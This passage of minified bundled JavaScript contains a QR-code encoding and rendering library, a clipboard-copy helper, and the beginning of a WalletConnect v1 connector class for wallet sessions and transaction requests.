a=(s-i.getLengthInBits())/8;for(let e=0;e<a;e++)i.put(e%2?17:236,8);return function(e,t,n){const i=r.getSymbolTotalCodewords(t),o=i-l.getTotalCodewordsCount(t,n),s=l.getBlocksCount(t,n),a=s-i%s,u=Math.floor(i/s),c=Math.floor(o/s),h=c+1,d=u-c,p=new f(d);let g=0;const y=new Array(s),v=new Array(s);let m=0;const _=new Uint8Array(e.buffer);for(let e=0;e<s;e++){const t=e<a?c:h;y[e]=_.slice(g,g+t),v[e]=p.encode(y[e]),g+=t,m=Math.max(m,t)}const b=new Uint8Array(i);let w,E,S=0;for(w=0;w<m;w++)for(E=0;E<s;E++)w<y[E].length&&(b[S++]=y[E][w]);for(w=0;w<d;w++)for(E=0;E<s;E++)b[S++]=v[E][w];return b}(i,e,t)}function m(e,t,n,i){let o;if(Array.isArray(e))o=g.fromArray(e);else{if("string"!=typeof e)throw new Error("Invalid data");{let r=t;if(!r){const t=g.rawSplit(e);r=h.getBestVersionForData(t,n)}o=g.fromString(e,r||40)}}const l=h.getBestVersionForData(o,n);if(!l)throw new Error("The amount of data is too big to be stored in a QR Code");if(t){if(t<l)throw new Error("\nThe chosen QR Code version cannot contain this amount of data.\nMinimum version required to store current data is: "+l+".\n")}else t=l;const f=v(t,n,o),d=r.getSymbolSize(t),p=new s(d);return function(e,t){const n=e.size,r=u.getPositions(t);for(let t=0;t<r.length;t++){const i=r[t][0],o=r[t][1];for(let t=-1;t<=7;t++)if(!(i+t<=-1||n<=i+t))for(let r=-1;r<=7;r++)o+r<=-1||n<=o+r||(t>=0&&t<=6&&(0===r||6===r)||r>=0&&r<=6&&(0===t||6===t)||t>=2&&t<=4&&r>=2&&r<=4?e.set(i+t,o+r,!0,!0):e.set(i+t,o+r,!1,!0))}}(p,t),function(e){const t=e.size;for(let n=8;n<t-8;n++){const t=n%2==0;e.set(n,6,t,!0),e.set(6,n,t,!0)}}(p),function(e,t){const n=a.getPositions(t);for(let t=0;t<n.length;t++){const r=n[t][0],i=n[t][1];for(let t=-2;t<=2;t++)for(let n=-2;n<=2;n++)-2===t||2===t||-2===n||2===n||0===t&&0===n?e.set(r+t,i+n,!0,!0):e.set(r+t,i+n,!1,!0)}}(p,t),y(p,n,0),t>=7&&function(e,t){const n=e.size,r=h.getEncodedBits(t);let i,o,s;for(let t=0;t<18;t++)i=Math.floor(t/3),o=t%3+n-8-3,s=1==(r>>t&1),e.set(i,o,s,!0),e.set(o,i,s,!0)}(p,t),function(e,t){const n=e.size;let r=-1,i=n-1,o=7,s=0;for(let a=n-1;a>0;a-=2)for(6===a&&a--;;){for(let n=0;n<2;n++)if(!e.isReserved(i,a-n)){let r=!1;s<t.length&&(r=1==(t[s]>>>o&1)),e.set(i,a-n,r),o--,-1===o&&(s++,o=7)}if(i+=r,i<0||n<=i){i-=r,r=-r;break}}}(p,f),isNaN(i)&&(i=c.getBestMask(p,y.bind(null,p,n))),c.applyMask(i,p),y(p,n,i),{modules:p,version:t,errorCorrectionLevel:n,maskPattern:i,segments:o}}t.create=function(e,t){if(void 0===e||""===e)throw new Error("No input text");let n,o,s=i.M;return void 0!==t&&(s=i.from(t.errorCorrectionLevel,i.M),n=h.from(t.version),o=c.from(t.maskPattern),t.toSJISFunc&&r.setToSJISFunction(t.toSJISFunc)),m(e,n,s,o)}},function(e,t){function n(){this.buffer=[],this.length=0}n.prototype={get:function(e){const t=Math.floor(e/8);return 1==(this.buffer[t]>>>7-e%8&1)},put:function(e,t){for(let n=0;n<t;n++)this.putBit(1==(e>>>t-n-1&1))},getLengthInBits:function(){return this.length},putBit:function(e){const t=Math.floor(this.length/8);this.buffer.length<=t&&this.buffer.push(0),e&&(this.buffer[t]|=128>>>this.length%8),this.length++}},e.exports=n},function(e,t){function n(e){if(!e||e<1)throw new Error("BitMatrix size must be defined and greater than 0");this.size=e,this.data=new Uint8Array(e*e),this.reservedBit=new Uint8Array(e*e)}n.prototype.set=function(e,t,n,r){const i=e*this.size+t;this.data[i]=n,r&&(this.reservedBit[i]=!0)},n.prototype.get=function(e,t){return this.data[e*this.size+t]},n.prototype.xor=function(e,t,n){this.data[e*this.size+t]^=n},n.prototype.isReserved=function(e,t){return this.reservedBit[e*this.size+t]},e.exports=n},function(e,t,n){const r=n(9).getSymbolSize;t.getRowColCoords=function(e){if(1===e)return[];const t=Math.floor(e/7)+2,n=r(e),i=145===n?26:2*Math.ceil((n-13)/(2*t-2)),o=[n-7];for(let e=1;e<t-1;e++)o[e]=o[e-1]-i;return o.push(6),o.reverse()},t.getPositions=function(e){const n=[],r=t.getRowColCoords(e),i=r.length;for(let e=0;e<i;e++)for(let t=0;t<i;t++)0===e&&0===t||0===e&&t===i-1||e===i-1&&0===t||n.push([r[e],r[t]]);return n}},function(e,t,n){const r=n(9).getSymbolSize;t.getPositions=function(e){const t=r(e);return[[0,0],[t-7,0],[0,t-7]]}},function(e,t){t.Patterns={PATTERN000:0,PATTERN001:1,PATTERN010:2,PATTERN011:3,PATTERN100:4,PATTERN101:5,PATTERN110:6,PATTERN111:7};const n=3,r=3,i=40,o=10;function s(e,n,r){switch(e){case t.Patterns.PATTERN000:return(n+r)%2==0;case t.Patterns.PATTERN001:return n%2==0;case t.Patterns.PATTERN010:return r%3==0;case t.Patterns.PATTERN011:return(n+r)%3==0;case t.Patterns.PATTERN100:return(Math.floor(n/2)+Math.floor(r/3))%2==0;case t.Patterns.PATTERN101:return n*r%2+n*r%3==0;case t.Patterns.PATTERN110:return(n*r%2+n*r%3)%2==0;case t.Patterns.PATTERN111:return(n*r%3+(n+r)%2)%2==0;default:throw new Error("bad maskPattern:"+e)}}t.isValid=function(e){return null!=e&&""!==e&&!isNaN(e)&&e>=0&&e<=7},t.from=function(e){return t.isValid(e)?parseInt(e,10):void 0},t.getPenaltyN1=function(e){const t=e.size;let r=0,i=0,o=0,s=null,a=null;for(let u=0;u<t;u++){i=o=0,s=a=null;for(let c=0;c<t;c++){let t=e.get(u,c);t===s?i++:(i>=5&&(r+=n+(i-5)),s=t,i=1),t=e.get(c,u),t===a?o++:(o>=5&&(r+=n+(o-5)),a=t,o=1)}i>=5&&(r+=n+(i-5)),o>=5&&(r+=n+(o-5))}return r},t.getPenaltyN2=function(e){const t=e.size;let n=0;for(let r=0;r<t-1;r++)for(let i=0;i<t-1;i++){const t=e.get(r,i)+e.get(r,i+1)+e.get(r+1,i)+e.get(r+1,i+1);4!==t&&0!==t||n++}return n*r},t.getPenaltyN3=function(e){const t=e.size;let n=0,r=0,o=0;for(let i=0;i<t;i++){r=o=0;for(let s=0;s<t;s++)r=r<<1&2047|e.get(i,s),s>=10&&(1488===r||93===r)&&n++,o=o<<1&2047|e.get(s,i),s>=10&&(1488===o||93===o)&&n++}return n*i},t.getPenaltyN4=function(e){let t=0;const n=e.data.length;for(let r=0;r<n;r++)t+=e.data[r];return Math.abs(Math.ceil(100*t/n/5)-10)*o},t.applyMask=function(e,t){const n=t.size;for(let r=0;r<n;r++)for(let i=0;i<n;i++)t.isReserved(i,r)||t.xor(i,r,s(e,i,r))},t.getBestMask=function(e,n){const r=Object.keys(t.Patterns).length;let i=0,o=1/0;for(let s=0;s<r;s++){n(s),t.applyMask(s,e);const r=t.getPenaltyN1(e)+t.getPenaltyN2(e)+t.getPenaltyN3(e)+t.getPenaltyN4(e);t.applyMask(s,e),r<o&&(o=r,i=s)}return i}},function(e,t,n){const r=n(85);function i(e){this.genPoly=void 0,this.degree=e,this.degree&&this.initialize(this.degree)}i.prototype.initialize=function(e){this.degree=e,this.genPoly=r.generateECPolynomial(this.degree)},i.prototype.encode=function(e){if(!this.genPoly)throw new Error("Encoder not initialized");const t=new Uint8Array(e.length+this.degree);t.set(e);const n=r.mod(t,this.genPoly),i=this.degree-n.length;if(i>0){const e=new Uint8Array(this.degree);return e.set(n,i),e}return n},e.exports=i},function(e,t,n){const r=n(86);t.mul=function(e,t){const n=new Uint8Array(e.length+t.length-1);for(let i=0;i<e.length;i++)for(let o=0;o<t.length;o++)n[i+o]^=r.mul(e[i],t[o]);return n},t.mod=function(e,t){let n=new Uint8Array(e);for(;n.length-t.length>=0;){const e=n[0];for(let i=0;i<t.length;i++)n[i]^=r.mul(t[i],e);let i=0;for(;i<n.length&&0===n[i];)i++;n=n.slice(i)}return n},t.generateECPolynomial=function(e){let n=new Uint8Array([1]);for(let i=0;i<e;i++)n=t.mul(n,new Uint8Array([1,r.exp(i)]));return n}},function(e,t){const n=new Uint8Array(512),r=new Uint8Array(256);!function(){let e=1;for(let t=0;t<255;t++)n[t]=e,r[e]=t,e<<=1,256&e&&(e^=285);for(let e=255;e<512;e++)n[e]=n[e-255]}(),t.log=function(e){if(e<1)throw new Error("log("+e+")");return r[e]},t.exp=function(e){return n[e]},t.mul=function(e,t){return 0===e||0===t?0:n[r[e]+r[t]]}},function(e,t,n){const r=n(9),i=n(53),o=n(21),s=n(10),a=n(54),u=r.getBCHDigit(7973);function c(e,t){return s.getCharCountIndicator(e,t)+4}function l(e,t){let n=0;return e.forEach((function(e){const r=c(e.mode,t);n+=r+e.getBitsLength()})),n}t.from=function(e,t){return a.isValid(e)?parseInt(e,10):t},t.getCapacity=function(e,t,n){if(!a.isValid(e))throw new Error("Invalid QR Code version");void 0===n&&(n=s.BYTE);const o=8*(r.getSymbolTotalCodewords(e)-i.getTotalCodewordsCount(e,t));if(n===s.MIXED)return o;const u=o-c(n,e);switch(n){case s.NUMERIC:return Math.floor(u/10*3);case s.ALPHANUMERIC:return Math.floor(u/11*2);case s.KANJI:return Math.floor(u/13);case s.BYTE:default:return Math.floor(u/8)}},t.getBestVersionForData=function(e,n){let r;const i=o.from(n,o.M);if(Array.isArray(e)){if(e.length>1)return function(e,n){for(let r=1;r<=40;r++)if(l(e,r)<=t.getCapacity(r,n,s.MIXED))return r}(e,i);if(0===e.length)return 1;r=e[0]}else r=e;return function(e,n,r){for(let i=1;i<=40;i++)if(n<=t.getCapacity(i,r,e))return i}(r.mode,r.getLength(),i)},t.getEncodedBits=function(e){if(!a.isValid(e)||e<7)throw new Error("Invalid QR Code version");let t=e<<12;for(;r.getBCHDigit(t)-u>=0;)t^=7973<<r.getBCHDigit(t)-u;return e<<12|t}},function(e,t,n){const r=n(9),i=r.getBCHDigit(1335);t.getEncodedBits=function(e,t){const n=e.bit<<3|t;let o=n<<10;for(;r.getBCHDigit(o)-i>=0;)o^=1335<<r.getBCHDigit(o)-i;return 21522^(n<<10|o)}},function(e,t,n){const r=n(10),i=n(90),o=n(91),s=n(92),a=n(94),u=n(55),c=n(9),l=n(95);function f(e){return unescape(encodeURIComponent(e)).length}function h(e,t,n){const r=[];let i;for(;null!==(i=e.exec(n));)r.push({data:i[0],index:i.index,mode:t,length:i[0].length});return r}function d(e){const t=h(u.NUMERIC,r.NUMERIC,e),n=h(u.ALPHANUMERIC,r.ALPHANUMERIC,e);let i,o;return c.isKanjiModeEnabled()?(i=h(u.BYTE,r.BYTE,e),o=h(u.KANJI,r.KANJI,e)):(i=h(u.BYTE_KANJI,r.BYTE,e),o=[]),t.concat(n,i,o).sort((function(e,t){return e.index-t.index})).map((function(e){return{data:e.data,mode:e.mode,length:e.length}}))}function p(e,t){switch(t){case r.NUMERIC:return i.getBitsLength(e);case r.ALPHANUMERIC:return o.getBitsLength(e);case r.KANJI:return a.getBitsLength(e);case r.BYTE:return s.getBitsLength(e)}}function g(e,t){let n;const u=r.getBestModeForData(e);if(n=r.from(t,u),n!==r.BYTE&&n.bit<u.bit)throw new Error('"'+e+'" cannot be encoded with mode '+r.toString(n)+".\n Suggested mode is: "+r.toString(u));switch(n!==r.KANJI||c.isKanjiModeEnabled()||(n=r.BYTE),n){case r.NUMERIC:return new i(e);case r.ALPHANUMERIC:return new o(e);case r.KANJI:return new a(e);case r.BYTE:return new s(e)}}t.fromArray=function(e){return e.reduce((function(e,t){return"string"==typeof t?e.push(g(t,null)):t.data&&e.push(g(t.data,t.mode)),e}),[])},t.fromString=function(e,n){const i=function(e,t){const n={},i={start:{}};let o=["start"];for(let s=0;s<e.length;s++){const a=e[s],u=[];for(let e=0;e<a.length;e++){const c=a[e],l=""+s+e;u.push(l),n[l]={node:c,lastCount:0},i[l]={};for(let e=0;e<o.length;e++){const s=o[e];n[s]&&n[s].node.mode===c.mode?(i[s][l]=p(n[s].lastCount+c.length,c.mode)-p(n[s].lastCount,c.mode),n[s].lastCount+=c.length):(n[s]&&(n[s].lastCount=c.length),i[s][l]=p(c.length,c.mode)+4+r.getCharCountIndicator(c.mode,t))}}o=u}for(let e=0;e<o.length;e++)i[o[e]].end=0;return{map:i,table:n}}(function(e){const t=[];for(let n=0;n<e.length;n++){const i=e[n];switch(i.mode){case r.NUMERIC:t.push([i,{data:i.data,mode:r.ALPHANUMERIC,length:i.length},{data:i.data,mode:r.BYTE,length:i.length}]);break;case r.ALPHANUMERIC:t.push([i,{data:i.data,mode:r.BYTE,length:i.length}]);break;case r.KANJI:t.push([i,{data:i.data,mode:r.BYTE,length:f(i.data)}]);break;case r.BYTE:t.push([{data:i.data,mode:r.BYTE,length:f(i.data)}])}}return t}(d(e,c.isKanjiModeEnabled())),n),o=l.find_path(i.map,"start","end"),s=[];for(let e=1;e<o.length-1;e++)s.push(i.table[o[e]].node);return t.fromArray(function(e){return e.reduce((function(e,t){const n=e.length-1>=0?e[e.length-1]:null;return n&&n.mode===t.mode?(e[e.length-1].data+=t.data,e):(e.push(t),e)}),[])}(s))},t.rawSplit=function(e){return t.fromArray(d(e,c.isKanjiModeEnabled()))}},function(e,t,n){const r=n(10);function i(e){this.mode=r.NUMERIC,this.data=e.toString()}i.getBitsLength=function(e){return 10*Math.floor(e/3)+(e%3?e%3*3+1:0)},i.prototype.getLength=function(){return this.data.length},i.prototype.getBitsLength=function(){return i.getBitsLength(this.data.length)},i.prototype.write=function(e){let t,n,r;for(t=0;t+3<=this.data.length;t+=3)n=this.data.substr(t,3),r=parseInt(n,10),e.put(r,10);const i=this.data.length-t;i>0&&(n=this.data.substr(t),r=parseInt(n,10),e.put(r,3*i+1))},e.exports=i},function(e,t,n){const r=n(10),i=["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"," ","$","%","*","+","-",".","/",":"];function o(e){this.mode=r.ALPHANUMERIC,this.data=e}o.getBitsLength=function(e){return 11*Math.floor(e/2)+e%2*6},o.prototype.getLength=function(){return this.data.length},o.prototype.getBitsLength=function(){return o.getBitsLength(this.data.length)},o.prototype.write=function(e){let t;for(t=0;t+2<=this.data.length;t+=2){let n=45*i.indexOf(this.data[t]);n+=i.indexOf(this.data[t+1]),e.put(n,11)}this.data.length%2&&e.put(i.indexOf(this.data[t]),6)},e.exports=o},function(e,t,n){const r=n(93),i=n(10);function o(e){this.mode=i.BYTE,"string"==typeof e&&(e=r(e)),this.data=new Uint8Array(e)}o.getBitsLength=function(e){return 8*e},o.prototype.getLength=function(){return this.data.length},o.prototype.getBitsLength=function(){return o.getBitsLength(this.data.length)},o.prototype.write=function(e){for(let t=0,n=this.data.length;t<n;t++)e.put(this.data[t],8)},e.exports=o},function(e,t,n){e.exports=function(e){for(var t=[],n=e.length,r=0;r<n;r++){var i=e.charCodeAt(r);if(i>=55296&&i<=56319&&n>r+1){var o=e.charCodeAt(r+1);o>=56320&&o<=57343&&(i=1024*(i-55296)+o-56320+65536,r+=1)}i<128?t.push(i):i<2048?(t.push(i>>6|192),t.push(63&i|128)):i<55296||i>=57344&&i<65536?(t.push(i>>12|224),t.push(i>>6&63|128),t.push(63&i|128)):i>=65536&&i<=1114111?(t.push(i>>18|240),t.push(i>>12&63|128),t.push(i>>6&63|128),t.push(63&i|128)):t.push(239,191,189)}return new Uint8Array(t).buffer}},function(e,t,n){const r=n(10),i=n(9);function o(e){this.mode=r.KANJI,this.data=e}o.getBitsLength=function(e){return 13*e},o.prototype.getLength=function(){return this.data.length},o.prototype.getBitsLength=function(){return o.getBitsLength(this.data.length)},o.prototype.write=function(e){let t;for(t=0;t<this.data.length;t++){let n=i.toSJIS(this.data[t]);if(n>=33088&&n<=40956)n-=33088;else{if(!(n>=57408&&n<=60351))throw new Error("Invalid SJIS character: "+this.data[t]+"\nMake sure your charset is UTF-8");n-=49472}n=192*(n>>>8&255)+(255&n),e.put(n,13)}},e.exports=o},function(e,t,n){var r={single_source_shortest_paths:function(e,t,n){var i={},o={};o[t]=0;var s,a,u,c,l,f,h,d=r.PriorityQueue.make();for(d.push(t,0);!d.empty();)for(u in a=(s=d.pop()).value,c=s.cost,l=e[a]||{})l.hasOwnProperty(u)&&(f=c+l[u],h=o[u],(void 0===o[u]||h>f)&&(o[u]=f,d.push(u,f),i[u]=a));if(void 0!==n&&void 0===o[n]){var p=["Could not find a path from ",t," to ",n,"."].join("");throw new Error(p)}return i},extract_shortest_path_from_predecessor_list:function(e,t){for(var n=[],r=t;r;)n.push(r),e[r],r=e[r];return n.reverse(),n},find_path:function(e,t,n){var i=r.single_source_shortest_paths(e,t,n);return r.extract_shortest_path_from_predecessor_list(i,n)},PriorityQueue:{make:function(e){var t,n=r.PriorityQueue,i={};for(t in e=e||{},n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i.queue=[],i.sorter=e.sorter||n.default_sorter,i},default_sorter:function(e,t){return e.cost-t.cost},push:function(e,t){var n={value:e,cost:t};this.queue.push(n),this.queue.sort(this.sorter)},pop:function(){return this.queue.shift()},empty:function(){return 0===this.queue.length}}};e.exports=r},function(e,t,n){const r=n(56);t.render=function(e,t,n){let i=n,o=t;void 0!==i||t&&t.getContext||(i=t,t=void 0),t||(o=function(){try{return document.createElement("canvas")}catch(e){throw new Error("You need to specify a canvas element")}}()),i=r.getOptions(i);const s=r.getImageWidth(e.modules.size,i),a=o.getContext("2d"),u=a.createImageData(s,s);return r.qrToImageData(u.data,e,i),function(e,t,n){e.clearRect(0,0,t.width,t.height),t.style||(t.style={}),t.height=n,t.width=n,t.style.height=n+"px",t.style.width=n+"px"}(a,o,s),a.putImageData(u,0,0),o},t.renderToDataURL=function(e,n,r){let i=r;void 0!==i||n&&n.getContext||(i=n,n=void 0),i||(i={});const o=t.render(e,n,i),s=i.type||"image/png",a=i.rendererOpts||{};return o.toDataURL(s,a.quality)}},function(e,t,n){const r=n(56);function i(e,t){const n=e.a/255,r=t+'="'+e.hex+'"';return n<1?r+" "+t+'-opacity="'+n.toFixed(2).slice(1)+'"':r}function o(e,t,n){let r=e+t;return void 0!==n&&(r+=" "+n),r}t.render=function(e,t,n){const s=r.getOptions(t),a=e.modules.size,u=e.modules.data,c=a+2*s.margin,l=s.color.light.a?"<path "+i(s.color.light,"fill")+' d="M0 0h'+c+"v"+c+'H0z"/>':"",f="<path "+i(s.color.dark,"stroke")+' d="'+function(e,t,n){let r="",i=0,s=!1,a=0;for(let u=0;u<e.length;u++){const c=Math.floor(u%t),l=Math.floor(u/t);c||s||(s=!0),e[u]?(a++,u>0&&c>0&&e[u-1]||(r+=s?o("M",c+n,.5+l+n):o("m",i,0),i=0,s=!1),c+1<t&&e[u+1]||(r+=o("h",a),a=0)):i++}return r}(u,a,s.margin)+'"/>',h='viewBox="0 0 '+c+" "+c+'"',d='<svg xmlns="http://www.w3.org/2000/svg" '+(s.width?'width="'+s.width+'" height="'+s.width+'" ':"")+h+' shape-rendering="crispEdges">'+l+f+"</svg>\n";return"function"==typeof n&&n(null,d),d}},function(e,t,n){var r=n(99),i={"text/plain":"Text","text/html":"Url",default:"Text"};e.exports=function(e,t){var n,o,s,a,u,c,l=!1;t||(t={}),n=t.debug||!1;try{if(s=r(),a=document.createRange(),u=document.getSelection(),(c=document.createElement("span")).textContent=e,c.ariaHidden="true",c.style.all="unset",c.style.position="fixed",c.style.top=0,c.style.clip="rect(0, 0, 0, 0)",c.style.whiteSpace="pre",c.style.webkitUserSelect="text",c.style.MozUserSelect="text",c.style.msUserSelect="text",c.style.userSelect="text",c.addEventListener("copy",(function(r){if(r.stopPropagation(),t.format)if(r.preventDefault(),void 0===r.clipboardData){n&&console.warn("unable to use e.clipboardData"),n&&console.warn("trying IE specific stuff"),window.clipboardData.clearData();var o=i[t.format]||i.default;window.clipboardData.setData(o,e)}else r.clipboardData.clearData(),r.clipboardData.setData(t.format,e);t.onCopy&&(r.preventDefault(),t.onCopy(r.clipboardData))})),document.body.appendChild(c),a.selectNodeContents(c),u.addRange(a),!document.execCommand("copy"))throw new Error("copy command was unsuccessful");l=!0}catch(r){n&&console.error("unable to copy using execCommand: ",r),n&&console.warn("trying IE specific stuff");try{window.clipboardData.setData(t.format||"text",e),t.onCopy&&t.onCopy(window.clipboardData),l=!0}catch(r){n&&console.error("unable to copy using clipboardData: ",r),n&&console.error("falling back to prompt"),o=function(e){var t=(/mac os x/i.test(navigator.userAgent)?"⌘":"Ctrl")+"+C";return e.replace(/#{\s*key\s*}/g,t)}("message"in t?t.message:"Copy to clipboard: #{key}, Enter"),window.prompt(o,e)}}finally{u&&("function"==typeof u.removeRange?u.removeRange(a):u.removeAllRanges()),c&&document.body.removeChild(c),s()}return l}},function(e,t){e.exports=function(){var e=document.getSelection();if(!e.rangeCount)return function(){};for(var t=document.activeElement,n=[],r=0;r<e.rangeCount;r++)n.push(e.getRangeAt(r));switch(t.tagName.toUpperCase()){case"INPUT":case"TEXTAREA":t.blur();break;default:t=null}return e.removeAllRanges(),function(){"Caret"===e.type&&e.removeAllRanges(),e.rangeCount||n.forEach((function(t){e.addRange(t)})),t&&t.focus()}}},function(e,t,n){n.r(t);var r={};n.r(r),n.d(r,"generateKey",(function(){return p})),n.d(r,"verifyHmac",(function(){return g})),n.d(r,"encrypt",(function(){return y})),n.d(r,"decrypt",(function(){return v}));var i=n(2),o=n(1),s=n(61),a=class{constructor(){this._eventEmitters=[]}subscribe(e){this._eventEmitters.push(e)}unsubscribe(e){this._eventEmitters=this._eventEmitters.filter((t=>t.event!==e))}trigger(e){let t,n=[];t=Object(o.isJsonRpcRequest)(e)?e.method:Object(o.isJsonRpcResponseSuccess)(e)||Object(o.isJsonRpcResponseError)(e)?"response:"+e.id:Object(o.isInternalEvent)(e)?e.event:"",t&&(n=this._eventEmitters.filter((e=>e.event===t))),n&&n.length||Object(o.isReservedEvent)(t)||Object(o.isInternalEvent)(t)||(n=this._eventEmitters.filter((e=>"call_request"===e.event))),n.forEach((t=>{if(Object(o.isJsonRpcResponseError)(e)){const n=new Error(e.error.message);t.callback(n,null)}else t.callback(null,e)}))}},u=class{constructor(e="walletconnect"){this.storageId=e}getSession(){let e=null;const t=Object(o.getLocal)(this.storageId);return t&&Object(o.isWalletConnectSession)(t)&&(e=t),e}setSession(e){return Object(o.setLocal)(this.storageId,e),e}removeSession(){Object(o.removeLocal)(this.storageId)}};const c="abcdefghijklmnopqrstuvwxyz0123456789".split("").map((e=>`https://${e}.bridge.walletconnect.org`));function l(){return c[Math.floor(Math.random()*c.length)]}var f=class{constructor(e){if(this.protocol="wc",this.version=1,this._bridge="",this._key=null,this._clientId="",this._clientMeta=null,this._peerId="",this._peerMeta=null,this._handshakeId=0,this._handshakeTopic="",this._connected=!1,this._accounts=[],this._chainId=0,this._networkId=0,this._rpcUrl="",this._eventManager=new a,this._clientMeta=Object(o.getClientMeta)()||e.connectorOpts.clientMeta||null,this._cryptoLib=e.cryptoLib,this._sessionStorage=e.sessionStorage||new u(e.connectorOpts.storageId),this._qrcodeModal=e.connectorOpts.qrcodeModal,this._qrcodeModalOptions=e.connectorOpts.qrcodeModalOptions,this._signingMethods=[...i.SIGNING_METHODS,...e.connectorOpts.signingMethods||[]],!e.connectorOpts.bridge&&!e.connectorOpts.uri&&!e.connectorOpts.session)throw new Error(i.ERROR_MISSING_REQUIRED);var t;e.connectorOpts.bridge&&(this.bridge=function(e){return"walletconnect.org"===function(e){return function(e){let t=e.indexOf("//")>-1?e.split("/")[2]:e.split("/")[0];return t=t.split(":")[0],t=t.split("?")[0],t}(e).split(".").slice(-2).join(".")}(e)}(t=e.connectorOpts.bridge)?l():t),e.connectorOpts.uri&&(this.uri=e.connectorOpts.uri);const n=e.connectorOpts.session||this._getStorageSession();n&&(this.session=n),this.handshakeId&&this._subscribeToSessionResponse(this.handshakeId,"Session request rejected"),this._transport=e.transport||new s.a({protocol:this.protocol,version:this.version,url:this.bridge,subscriptions:[this.clientId]}),this._subscribeToInternalEvents(),this._initTransport(),e.connectorOpts.uri&&this._subscribeToSessionRequest(),e.pushServerOpts&&this._registerPushServer(e.pushServerOpts)}set bridge(e){e&&(this._bridge=e)}get bridge(){return this._bridge}set key(e){if(!e)return;const t=Object(o.convertHexToArrayBuffer)(e);this._key=t}get key(){return this._key?Object(o.convertArrayBufferToHex)(this._key,!0):""}set clientId(e){e&&(this._clientId=e)}get clientId(){let e=this._clientId;return e||(e=this._clientId=Object(o.uuid)()),this._clientId}set peerId(e){e&&(this._peerId=e)}get peerId(){return this._peerId}set clientMeta(e){}get clientMeta(){let e=this._clientMeta;return e||(e=this._clientMeta=Object(o.getClientMeta)()),e}set peerMeta(e){this._peerMeta=e}get peerMeta(){return this._peerMeta}set handshakeTopic(e){e&&(this._handshakeTopic=e)}get handshakeTopic(){return this._handshakeTopic}set handshakeId(e){e&&(this._handshakeId=e)}get handshakeId(){return this._handshakeId}get uri(){return this._formatUri()}set uri(e){if(!e)return;const{handshakeTopic:t,bridge:n,key:r}=this._parseUri(e);this.handshakeTopic=t,this.bridge=n,this.key=r}set chainId(e){this._chainId=e}get chainId(){return this._chainId}set networkId(e){this._networkId=e}get networkId(){return this._networkId}set accounts(e){this._accounts=e}get accounts(){return this._accounts}set rpcUrl(e){this._rpcUrl=e}get rpcUrl(){return this._rpcUrl}set connected(e){}get connected(){return this._connected}set pending(e){}get pending(){return!!this._handshakeTopic}get session(){return{connected:this.connected,accounts:this.accounts,chainId:this.chainId,bridge:this.bridge,key:this.key,clientId:this.clientId,clientMeta:this.clientMeta,peerId:this.peerId,peerMeta:this.peerMeta,handshakeId:this.handshakeId,handshakeTopic:this.handshakeTopic}}set session(e){e&&(this._connected=e.connected,this.accounts=e.accounts,this.chainId=e.chainId,this.bridge=e.bridge,this.key=e.key,this.clientId=e.clientId,this.clientMeta=e.clientMeta,this.peerId=e.peerId,this.peerMeta=e.peerMeta,this.handshakeId=e.handshakeId,this.handshakeTopic=e.handshakeTopic)}on(e,t){const n={event:e,callback:t};this._eventManager.subscribe(n)}off(e){this._eventManager.unsubscribe(e)}async createInstantRequest(e){this._key=await this._generateKey();const t=this._formatRequest({method:"wc_instantRequest",params:[{peerId:this.clientId,peerMeta:this.clientMeta,request:this._formatRequest(e)}]});this.handshakeId=t.id,this.handshakeTopic=Object(o.uuid)(),this._eventManager.trigger({event:"display_uri",params:[this.uri]}),this.on("modal_closed",(()=>{throw new Error(i.ERROR_QRCODE_MODAL_USER_CLOSED)}));const n=()=>{this.killSession()};try{const e=await this._sendCallRequest(t);return e&&n(),e}catch(e){throw n(),e}}async connect(e){if(!this._qrcodeModal)throw new Error(i.ERROR_QRCODE_MODAL_NOT_PROVIDED);return this.connected?{chainId:this.chainId,accounts:this.accounts}:(await this.createSession(e),new Promise((async(e,t)=>{this.on("modal_closed",(()=>t(new Error(i.ERROR_QRCODE_MODAL_USER_CLOSED)))),this.on("connect",((n,r)=>{if(n)return t(n);e(r.params[0])}))})))}async createSession(e){if(this._connected)throw new Error(i.ERROR_SESSION_CONNECTED);if(this.pending)return;this._key=await this._generateKey();const t=this._formatRequest({method:"wc_sessionRequest",params:[{peerId:this.clientId,peerMeta:this.clientMeta,chainId:e&&e.chainId?e.chainId:null}]});this.handshakeId=t.id,this.handshakeTopic=Object(o.uuid)(),this._sendSessionRequest(t,"Session update rejected",{topic:this.handshakeTopic}),this._eventManager.trigger({event:"display_uri",params:[this.uri]})}approveSession(e){if(this._connected)throw new Error(i.ERROR_SESSION_CONNECTED);this.chainId=e.chainId,this.accounts=e.accounts,this.networkId=e.networkId||0,this.rpcUrl=e.rpcUrl||"";const t={approved:!0,chainId:this.chainId,networkId:this.networkId,accounts:this.accounts,rpcUrl:this.rpcUrl,peerId:this.clientId,peerMeta:this.clientMeta},n={id:this.handshakeId,jsonrpc:"2.0",result:t};this._sendResponse(n),this._connected=!0,this._setStorageSession(),this._eventManager.trigger({event:"connect",params:[{peerId:this.peerId,peerMeta:this.peerMeta,chainId:this.chainId,accounts:this.accounts}]})}rejectSession(e){if(this._connected)throw new Error(i.ERROR_SESSION_CONNECTED);const t=e&&e.message?e.message:i.ERROR_SESSION_REJECTED,n=this._formatResponse({id:this.handshakeId,error:{message:t}});this._sendResponse(n),this._connected=!1,this._eventManager.trigger({event:"disconnect",params:[{message:t}]}),this._removeStorageSession()}updateSession(e){if(!this._connected)throw new Error(i.ERROR_SESSION_DISCONNECTED);this.chainId=e.chainId,this.accounts=e.accounts,this.networkId=e.networkId||0,this.rpcUrl=e.rpcUrl||"";const t={approved:!0,chainId:this.chainId,networkId:this.networkId,accounts:this.accounts,rpcUrl:this.rpcUrl},n=this._formatRequest({method:"wc_sessionUpdate",params:[t]});this._sendSessionRequest(n,"Session update rejected"),this._eventManager.trigger({event:"session_update",params:[{chainId:this.chainId,accounts:this.accounts}]}),this._manageStorageSession()}async killSession(e){const t=e?e.message:"Session Disconnected",n=this._formatRequest({method:"wc_sessionUpdate",params:[{approved:!1,chainId:null,networkId:null,accounts:null}]});await this._sendRequest(n),this._handleSessionDisconnect(t)}async sendTransaction(e){if(!this._connected)throw new Error(i.ERROR_SESSION_DISCONNECTED);const t=e,n=this._formatRequest({method:"eth_sendTransaction",params:[t]});return await this._sendCallRequest(n)}async signTransaction(e){if(!this._connected)throw new 